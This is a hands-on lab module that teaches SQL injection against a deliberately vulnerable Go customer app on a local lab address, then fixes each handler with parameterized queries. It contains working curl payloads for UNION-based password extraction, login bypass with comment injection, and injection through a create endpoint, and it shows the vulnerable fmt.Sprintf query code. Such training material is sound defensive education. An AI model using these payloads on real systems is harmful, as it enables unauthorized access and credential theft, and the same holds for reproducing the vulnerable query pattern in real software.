Skip to main content

Module 08 — SQL Injection (Attack / Understand / Fix)

Objective​

Discover and exploit SQL injection vulnerabilities in the Customer Information App, understand why they exist, then fix them using parameterized queries.

By the end of this module you will have:

OutcomeDetail
ExploitedSQL injection on GET, POST, and login endpoints
UnderstoodWhy fmt.Sprintf in SQL queries creates injection vulnerabilities
FixedAll vulnerable handlers converted to parameterized queries
VerifiedAttacks no longer work; normal CRUD still functions

Prerequisites​

  • Phase 1 complete (Modules 01-07)
  • App running and accessible via Nginx at http://192.168.56.13
  • SSH access to app-server: ssh app-server

1. Introduction — Changing your mindset​

You built a working app in Phase 1. Now you are going to try to break it.

SQL injection is when an attacker inserts malicious SQL code into input fields that get passed directly into database queries. If the application builds SQL strings by concatenating user input, the database cannot tell the difference between the intended query and the attacker's injected commands. It is consistently ranked as one of the most dangerous web application vulnerabilities.

Your app might have vulnerabilities. Let's find out.

2. Setup — Get a session cookie​

Most API endpoints require authentication. Before you can attack the customer endpoints, you need a valid session cookie.

Login and save the cookie to a file:

curl -c cookies.txt -X POST http://192.168.56.13/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'

Expected response:

{"message":"Login successful","username":"admin"}

This creates a cookies.txt file containing the session cookie. All subsequent curl commands will use -b cookies.txt to send it.

3. CTF Challenge​

Challenge: Using only curl or the browser, try to extract ALL usernames and passwords from the database through the customer API. You have 30 minutes.

Rules:

  • You can only interact with the app through HTTP requests to http://192.168.56.13
  • You have the session cookie from step 2
  • Your goal: get the contents of the users table (usernames and passwords)

If you get stuck, reveal the hints below one at a time:

Hint 1

What happens if the customer ID isn't a number?

Hint 2

The GET /api/customers/:id endpoint puts the ID directly into a SQL query using fmt.Sprintf.

Hint 3

Google "SQL UNION SELECT injection". The customers query returns 7 columns.

Once you have tried the challenge (or after 30 minutes), continue to the guided attacks below.

4. Guided Attack — GET endpoint (getCustomerHandler)​

The vulnerable code​

Line 199 of main.go:

query := fmt.Sprintf("SELECT id, name, email, phone, address, created_at, updated_at FROM customers WHERE id = %s", id)
row := db.QueryRow(query)

The id comes directly from the URL path (strings.TrimPrefix(r.URL.Path, "/api/customers/")) with no validation or sanitization.

Attack 1 — OR 1=1 (return all customers)​

curl -b cookies.txt "http://192.168.56.13/api/customers/1%20OR%201=1"

What SQL gets executed:

SELECT id, name, email, phone, address, created_at, updated_at FROM customers WHERE id = 1 OR 1=1

The OR 1=1 makes the WHERE clause true for every row. Because getCustomerHandler uses QueryRow (which scans a single row), it returns the first customer. But the database executed a query that matched every customer in the table.

Attack 2 — UNION SELECT to extract data from the users table​

The customers SELECT returns 7 columns: id, name, email, phone, address, created_at, updated_at. A UNION SELECT must match the same number of columns with compatible types.

curl -b cookies.txt "http://192.168.56.13/api/customers/0%20UNION%20SELECT%20id,username,password,username,password,created_at,created_at%20FROM%20users%20LIMIT%201"

What SQL gets executed:

SELECT id, name, email, phone, address, created_at, updated_at
FROM customers WHERE id = 0
UNION
SELECT id, username, password, username, password, created_at, created_at
FROM users LIMIT 1

The WHERE id = 0 returns no rows (no customer has ID 0), so the result comes entirely from the UNION query against the users table.

Expected output:

{"id":1,"name":"admin","email":"admin123","phone":"admin","address":"admin123","created_at":"...","updated_at":"..."}

The admin user's plaintext password (admin123) appears in the email and address fields of the customer JSON response. You just stole credentials through the customer API.

5. Guided Attack — Login bypass (loginHandler)​

The vulnerable code​

Line 104 of main.go:

query := fmt.Sprintf("SELECT id, username FROM users WHERE username = '%s' AND password = '%s'", req.Username, req.Password)
row := db.QueryRow(query)

Attack — Login as admin without knowing the password​

curl -v -X POST http://192.168.56.13/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin'\''--","password":"anything"}'

What SQL gets executed:

SELECT id, username FROM users WHERE username = 'admin'--' AND password = 'anything'

The -- is SQL's comment syntax. Everything after it is ignored, including the password check. The query becomes effectively:

SELECT id, username FROM users WHERE username = 'admin'

You are now logged in as admin without knowing the password.

Alternative — Login as any user (even if you don't know usernames)​

curl -v -X POST http://192.168.56.13/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"'\'' OR 1=1--","password":"x"}'

What SQL gets executed:

SELECT id, username FROM users WHERE username = '' OR 1=1--' AND password = 'x'

The OR 1=1 matches every row in the users table. QueryRow returns the first user found. You are now logged in as whatever user is first in the database.

6. Guided Attack — CREATE endpoint (data exfiltration)​

The vulnerable code​

Line 231 of main.go:

query := fmt.Sprintf("INSERT INTO customers (name, email, phone, address) VALUES ('%s', '%s', '%s', '%s') RETURNING id, name, email, phone, address, created_at, updated_at",
    c.Name, c.Email, c.Phone, c.Address)

Attack — Inject SQL through the email field to extract user credentials​

curl -b cookies.txt -X POST http://192.168.56.13/api/customers \
  -H "Content-Type: application/json" \
  -d '{"name":"hacker","email":"x'\''),(SELECT username FROM users LIMIT 1),(SELECT password FROM users LIMIT 1),'\''gotcha","phone":"","address":""}'

What SQL gets executed:

INSERT INTO customers (name, email, phone, address)
VALUES ('hacker', 'x'),(SELECT username FROM users LIMIT 1),(SELECT password FROM users LIMIT 1),'gotcha', '', '')
RETURNING id, name, email, phone, address, created_at, updated_at

This attempts to inject subqueries that pull data from the users table directly into new customer records. Depending on how PostgreSQL parses the resulting statement, you may get credential data inserted as customer records or an error that leaks information about the database structure.

Even if this particular payload produces an error, the fact that the single quotes are not escaped means the attacker controls the SQL structure. A determined attacker will find a working payload.

7. Why This Works​

The root cause​

Every vulnerable handler follows the same pattern:

User Input --> fmt.Sprintf --> SQL String --> Database executes ALL of it

Here is what happens step by step with the UNION attack:

StepWhat happens
1User sends request: GET /api/customers/0 UNION SELECT id,username,password,...
2Go code extracts ID from URL: "0 UNION SELECT id,username,password,..."
3fmt.Sprintf builds: "SELECT ... WHERE id = 0 UNION SELECT id,username,password,..."
4Database receives one big SQL string and executes all of it
5Database returns the users table data through the customers query

The fundamental rule​

String concatenation in SQL = SQL injection vulnerability. Always.

fmt.Sprintf does not know or care that it is building a SQL query. It just concatenates strings. The database receives the final string and has no way to distinguish between the original query and the injected code.

This is not a Go-specific problem. The same vulnerability exists in every language when you build SQL by concatenating user input:

  • Python: f"SELECT ... WHERE id = {user_input}"
  • Java: "SELECT ... WHERE id = " + userId
  • PHP: "SELECT ... WHERE id = " . $id
  • Node.js: `SELECT ... WHERE id = ${id}`

8. The Fix — Parameterized queries​

The fix is to use parameterized queries (also called prepared statements). Instead of putting user input into the SQL string, you pass it as a separate parameter. The database driver sends the query structure and the data separately, so injected SQL is treated as a literal string value, not as SQL code.

PostgreSQL uses $1, $2, etc. as parameter placeholders.

SSH to app-server​

ssh app-server

Edit main.go​

Open the file for editing:

cd ~/customerapp
nano main.go

Apply each fix below.

Fix 1 — getCustomerHandler (line 199)​

BEFORE:

query := fmt.Sprintf("SELECT id, name, email, phone, address, created_at, updated_at FROM customers WHERE id = %s", id)
row := db.QueryRow(query)

AFTER:

row := db.QueryRow("SELECT id, name, email, phone, address, created_at, updated_at FROM customers WHERE id = $1", id)

Fix 2 — loginHandler (line 104)​

BEFORE:

query := fmt.Sprintf("SELECT id, username FROM users WHERE username = '%s' AND password = '%s'", req.Username, req.Password)
row := db.QueryRow(query)

AFTER:

row := db.QueryRow("SELECT id, username FROM users WHERE username = $1 AND password = $2", req.Username, req.Password)

Fix 3 — createCustomerHandler (line 231)​

BEFORE:

query := fmt.Sprintf("INSERT INTO customers (name, email, phone, address) VALUES ('%s', '%s', '%s', '%s') RETURNING id, name, email, phone, address, created_at, updated_at",
    c.Name, c.Email, c.Phone, c.Address)
row := db.QueryRow(query)

AFTER:

row := db.QueryRow("INSERT INTO customers (name, email, phone, address) VALUES ($1, $2, $3, $4) RETURNING id, name, email, phone, address, created_at, updated_at",
    c.Name, c.Email, c.Phone, c.Address)

Fix 4 — updateCustomerHandler (line 267)​

BEFORE:

query := fmt.Sprintf("UPDATE customers SET name = '%s', email = '%s', phone = '%s', address = '%s', updated_at = NOW() WHERE id = %s RETURNING id, name, email, phone, address, created_at, updated_at",
    c.Name, c.Email, c.Phone, c.Address, id)
row := db.QueryRow(query)

AFTER:

row := db.QueryRow("UPDATE customers SET name = $1, email = $2, phone = $3, address = $4, updated_at = NOW() WHERE id = $5 RETURNING id, name, email, phone, address, created_at, updated_at",
    c.Name, c.Email, c.Phone, c.Address, id)

Fix 5 — deleteCustomerHandler (line 294)​

BEFORE:

query := fmt.Sprintf("DELETE FROM customers WHERE id = %s", id)
result, err := db.Exec(query)

AFTER:

result, err := db.Exec("DELETE FROM customers WHERE id = $1", id)

Rebuild and restart​

After saving all changes:

go build -o customerapp . && sudo systemctl restart customerapp

Verify the app is running:

sudo systemctl status customerapp

9. Verify — Re-run the attacks​

Now re-run every attack from sections 4-6. Each one should fail.

Verify Attack 1 — OR 1=1​

curl -b cookies.txt "http://192.168.56.13/api/customers/1%20OR%201=1"

Expected: Failed to fetch customer or Customer not found (the parameterized query treats "1 OR 1=1" as a literal value for $1, which cannot be cast to an integer).

Verify Attack 2 — UNION SELECT​

curl -b cookies.txt "http://192.168.56.13/api/customers/0%20UNION%20SELECT%20id,username,password,username,password,created_at,created_at%20FROM%20users%20LIMIT%201"

Expected: Failed to fetch customer (same reason -- the entire string is treated as the ID parameter, not as SQL).

Verify Attack 3 — Login bypass​

curl -v -X POST http://192.168.56.13/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin'\''--","password":"anything"}'

Expected: HTTP 401 Invalid username or password (the admin'-- is treated as a literal username, which does not match any user).

Verify Attack 4 — CREATE injection​

curl -b cookies.txt -X POST http://192.168.56.13/api/customers \
  -H "Content-Type: application/json" \
  -d '{"name":"hacker","email":"x'\''),(SELECT username FROM users LIMIT 1),(SELECT password FROM users LIMIT 1),'\''gotcha","phone":"","address":""}'

Expected: The customer is created with the literal email value x'),(SELECT username FROM users LIMIT 1),(SELECT password FROM users LIMIT 1),'gotcha -- the single quotes and SQL keywords are just data now, not code.

Verify normal CRUD still works​

# Create
curl -b cookies.txt -X POST http://192.168.56.13/api/customers \
  -H "Content-Type: application/json" \
  -d '{"name":"Test User","email":"test@example.com","phone":"555-0100","address":"123 Safe St"}'

# Read
curl -b cookies.txt http://192.168.56.13/api/customers/1

# Update
curl -b cookies.txt -X PUT http://192.168.56.13/api/customers/1 \
  -H "Content-Type: application/json" \
  -d '{"name":"Updated User","email":"updated@example.com","phone":"555-0101","address":"456 Safe Ave"}'

# List
curl -b cookies.txt http://192.168.56.13/api/customers

# Login
curl -c cookies.txt -X POST http://192.168.56.13/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'

All normal operations should work exactly as before. The only difference is that malicious input is now treated as data, not as SQL code.

Summary​

What you didWhat you learned
Extracted passwords via UNION SELECTUser input in SQL strings lets attackers read any table
Bypassed login with '--SQL comments can remove authentication checks
Injected SQL through POST dataEvery endpoint that uses fmt.Sprintf for SQL is vulnerable
Fixed with $1, $2 parametersParameterized queries separate code from data

The one rule to remember: Never build SQL queries with string concatenation. Always use parameterized queries.